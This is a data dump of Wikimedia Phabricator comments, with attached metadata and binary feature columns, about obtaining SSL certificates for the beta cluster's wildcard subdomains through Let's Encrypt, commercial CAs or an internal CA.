+Edit: ignore this, this comment was meant to be on T97593)",,,1513299970,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,224,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+982518,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Can this ticket be made public nowadays?  There is now T182927 and it seemed like a duplicate.,,,1513299825,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,224,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0
+720717,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Thanks to @Krenair (with reviews from @BBlack ) we got SSL on beta cluster.  That is quite an achievement.
+
+The last remaining patch has been merged in. I believe there is nothing left to do there.",,,1472656512,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,157,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+720695,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 247587 merged by BBlack:
+beta: Use Let's Encrypt cert
+
+[[https://gerrit.wikimedia.org/r/247587]]",,,1472654942,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,157,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+716639,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"So that is now pending review / merge of https://gerrit.wikimedia.org/r/247587 //beta: Use Let's Encrypt cert// which is already on beta cluster.
+",,,1472038753,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,156,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+716534,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Convince someone with ops rights to merge the patch,,,1472028326,,PHID-USER-mvx4x7ywk2flsaku2dbk,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,156,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+716533,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,That is really neat @AlexMonk-WMF !  Is there anything left to do?,,,1472027977,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,156,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0
+704147,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 302409 merged by jenkins-bot:
+deployment-prep: Swap config to HTTPS
+
+[[https://gerrit.wikimedia.org/r/302409]]",,,1470134583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,152,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+704143,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 302409 had a related patch set uploaded (by Alex Monk):
+deployment-prep: Swap config to HTTPS
+
+[[https://gerrit.wikimedia.org/r/302409]]
+",,,1470134511,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,152,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+704024,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 247587 had a related patch set uploaded (by Alex Monk):
+beta: Use Let's Encrypt for upload, and new self-signed SSL certificate for most of text
+
+[[https://gerrit.wikimedia.org/r/247587]]
+",,,1470107265,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,152,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1
+704053,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,This is now working for meta.wikimedia.beta.wmflabs.org and deployment.wikimedia.beta.wmflabs.org (and their mobile variants) as well as upload.beta.wmflabs.org. I'll try to handle all other domains tomorrow.,,,1470123240,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,152,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+704022,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,This is now working for meta.wikimedia.beta.wmflabs.org and deployment.wikimedia.beta.wmflabs.org (and their variants) as well as upload.beta.wmflabs.org. I'll try to handle all other domains tomorrow.,,,1470107154,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,152,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+672898,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Its puppetized now, should not be hard anymore. We already use it in prod.",,,1464824261,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,144,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+646697,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,It may or may not be a strict blocker but we should probably wait for {T132812},,,1460745558,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,137,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+646664,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#2210861, @csteipp wrote:
+> Ftr, I'd love to see us move in the direction of the let's encrypt model, where it's a straightforward, automated process for servers to get a valid cert for their identity. Whether it's LE specifically, or one of the projects that makes an LE-like api that organizations can run to automatically get certificates from their preferred CA.
+> 
+> I think we're going to need more of these (mysql and kafka servers / clients in the near term), and I'd like to get to the point where we're dealing with short lived certs wherever possible.
+
+That might be hard as we're not exposing those servers directly to the internet. I suppose we could use an internal CA and run our own Let's Encrypt-like setup, but this is all far outside the scope of this task :)",,,1460741823,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,137,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
+646659,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#2210736, @Krenair wrote:
+>>>! In T97593#2115226, @Krenair wrote:
+>> I am also wondering what the best way is to put the Let's Encrypt client onto the beta servers. Could we install it on the deployment-cache-text04 and deployment-cache-upload04 instances and have them get their own certificates? They're all running jessie and there is a letsencrypt package available.
+
+Ftr, I'd love to see us move in the direction of the let's encrypt model, where it's a straightforward, automated process for servers to get a valid cert for their identity. Whether it's LE specifically, or one of the projects that makes an LE-like api that organizations can run to automatically get certificates from their preferred CA.
+
+I think we're going to need more of these (mysql and kafka servers / clients in the near term), and I'd like to get to the point where we're dealing with short lived certs wherever possible.",,,1460741344,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,137,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1
+646648,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T97593#2115226, @Krenair wrote:
+> I am also wondering what the best way is to put the Let's Encrypt client onto the beta servers. Could we install it on the deployment-cache-text04 and deployment-cache-upload04 instances and have them get their own certificates? They're all running jessie and there is a letsencrypt package available.
+
+>>! In T97593#2116454, @Krenair wrote:
+> I checked this in deployment-cache-upload04 today. It's from jessie-backports and depends on lots of things from there, so you end up with something like:
+> `sudo apt-get install letsencrypt python-cryptography=1.1.1-1~bpo8+1 python-pyasn1=0.1.9-1~bpo8+1 python-openssl=0.15.1-2~bpo8+1`
+> (I did not actually allow this to continue, would like someone else to review since I'm not used to messing with package versions like this)
+
+>>! In T97593#2210712, @Krenair wrote:
+> ops have started using it in production for (ubuntu|apt|mirrors).wikimedia.org and it might be puppetised soon. (see T132450)",,,1460740489,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,137,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1
+646634,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T97593#2115226, @Krenair wrote:
+> I am also wondering what the best way is to put the Let's Encrypt client onto the beta servers. Could we install it on the deployment-cache-text04 and deployment-cache-upload04 instances and have them get their own certificates? They're all running jessie and there is a letsencrypt package available.
+
+>>! In T97593#2116454, @Krenair wrote:
+> I checked this in deployment-cache-upload04 today. It's from jessie-backports and depends on lots of things from there, so you end up with something like:
+> `sudo apt-get install letsencrypt python-cryptography=1.1.1-1~bpo8+1 python-pyasn1=0.1.9-1~bpo8+1 python-openssl=0.15.1-2~bpo8+1`
+> (I did not actually allow this to continue, would like someone else to review since I'm not used to messing with package versions like this)",,,1460738908,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,137,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1
+628753,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I'm going around a few tasks on this subject trying to merge/close everything together (this one, T70387, T75919, T97593). I'm going to see if I can get Let's Encrypt working for this.",,,1457835537,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,132,True,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+628752,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I'm going around a few tasks on this subject trying to merge everything together (this one, T70387, T75919, T97593). I'm going to see if I can get Let's Encrypt working for this.",,,1457835416,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,132,True,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+595884,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1951388, @faidon wrote:
+> Can someone repeat why we can't just flatten the beta hostnames and just procure a *.beta.wmflabs.org certificate?
+
+Presumably because that would make beta less similar to production and less useful for testing things where the domain structure is relevant (e.g. CentralAuth shared cookies).",,,1453575790,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,125,True,0,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+594127,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#527689, @Krinkle wrote:
+> Would it be an option to flatten our subdomains?
+> 
+> We'd only need beta.wmflabs.org and *.beta.wmflabs.org to be in the certificate
+> 
+> (at e.g. DigiCert, those wildcards are $1425 for 3 years includes root and *)
+> 
+> For example:
+> 
+> * beta.wmflabs.org
+> * bits.beta.wmflabs.org
+> * wikimedia.beta.wmflabs.org
+> * commons-wikimedia.beta.wmflabs.org
+> * wikipedia.beta.wmflabs.org
+> * en-wikipedia.beta.wmflabs.org
+> * nl-wikibooks.beta.wmflabs.org
+> * en-m-wikibooks.beta.wmflabs.org
+> * en-m-wikinews.beta.wmflabs.org
+
+I've asked the same a few times and I don't remember the response. Can someone repeat why we can't just flatten the beta hostnames and just procure a *.beta.wmflabs.org certificate?",,,1453369421,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,125,True,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+572897,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Yeah, beta.wmflabs.org was in the private beta. Don't know if it can actually work with our setup though.",,,1449227020,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,118,True,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+572840,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Let's Encrypt is in Public Beta now. Everyone can get free certificates from them now.
+
+[1] https://letsencrypt.org/2015/12/03/entering-public-beta.html
+[2] User Guide for getting certs using Let's Encrypt client: https://letsencrypt.readthedocs.org/en/latest/",,,1449209519,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,118,True,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+548850,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1669896, @Chmarkine wrote:
+> [[ https://letsencrypt.org/ | Let's Encrypt ]] provides free trusted(*) DV non-wildcard certs. We have 31 domains lists [[ http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix | here ]]. If you think it's plausible, we can obtain 31 certs (one for each domain) from Let's Encrypt at zero cost. 
+> 
+> (*) They will have their CA certificate cross-signed by IdenTrust next month, so the certs they issued won't be trusted until then.
+
+Let's Encrypt has received the cross-signature, so its certificates are now trusted by all major browsers.
+
+[1] https://letsencrypt.org/2015/10/19/lets-encrypt-is-trusted.html",,,1445334021,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,111,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+534286,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1670596, @Lixxx235 wrote:
+> Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. 
+
+Yes. But StartCom charges $24.9 for each certificate revocation.
+
+https://www.startssl.com/?app=43",,,1443105776,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,108,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1
+534284,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1670596, @Lixxx235 wrote:
+> Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. 
+
+Yes. But StartCom charges $25 for each certificate revocation.",,,1443105592,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,108,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,1
+534221,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. ",,,1443100193,,PHID-USER-2hzxflhh7cwlrnz74x6y,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,108,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+534188,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I think we'd also want upload.beta.wmflabs.org, maybe stream.wmflabs.org, all of the m./zero. variants? What about mx.beta.wmflabs.org?",,,1443097851,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,108,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+534055,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"[[ https://letsencrypt.org/ | Let's Encrypt ]] provides free trusted(*) DV non-wildcard certs. We have 31 domains lists [[ http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix | here ]]. If you think it's plausible, we can obtain 31 certs (one for each domain) from Let's Encrypt at zero cost. 
+
+(*) They will have their CA certificate cross-signed by IdenTrust next month, so the certs they issued won't be trusted until then.",,,1443084427,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,108,True,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+524836,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"one more reason we should have this is to avoid needing https://gerrit.wikimedia.org/r/237523  (T105794, T112195)",,,1441924507,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,106,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+505970,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,@ArielGlenn: there's an NDA'd task at T97593 which Brandon is driving.,,,1439306906,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,101,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0
+505956,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,@ArielGlenn: there's an NDA's task at T97593 which Brandon is driving.,,,1439306268,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,101,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0
+505798,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,@greg  so what's the decision; there's also https://phabricator.wikimedia.org/T75919 and https://phabricator.wikimedia.org/T70387   Self-signed certs in beta or not?  ,,,1439287610,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,101,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0
+445536,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Is T70387 a duplicate of this?,,,1429298534,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,85,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+227553,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Matthew Flaschen from comment #93)
+> If cost is the issue, did we consider setting up our own certificate
+> authority (chained to an existing root)?  It's an upfront cost, but as I
+> understand it that means no per-cert cost.
+> 
+> Google and Microsoft both have them, just to name a couple.
+
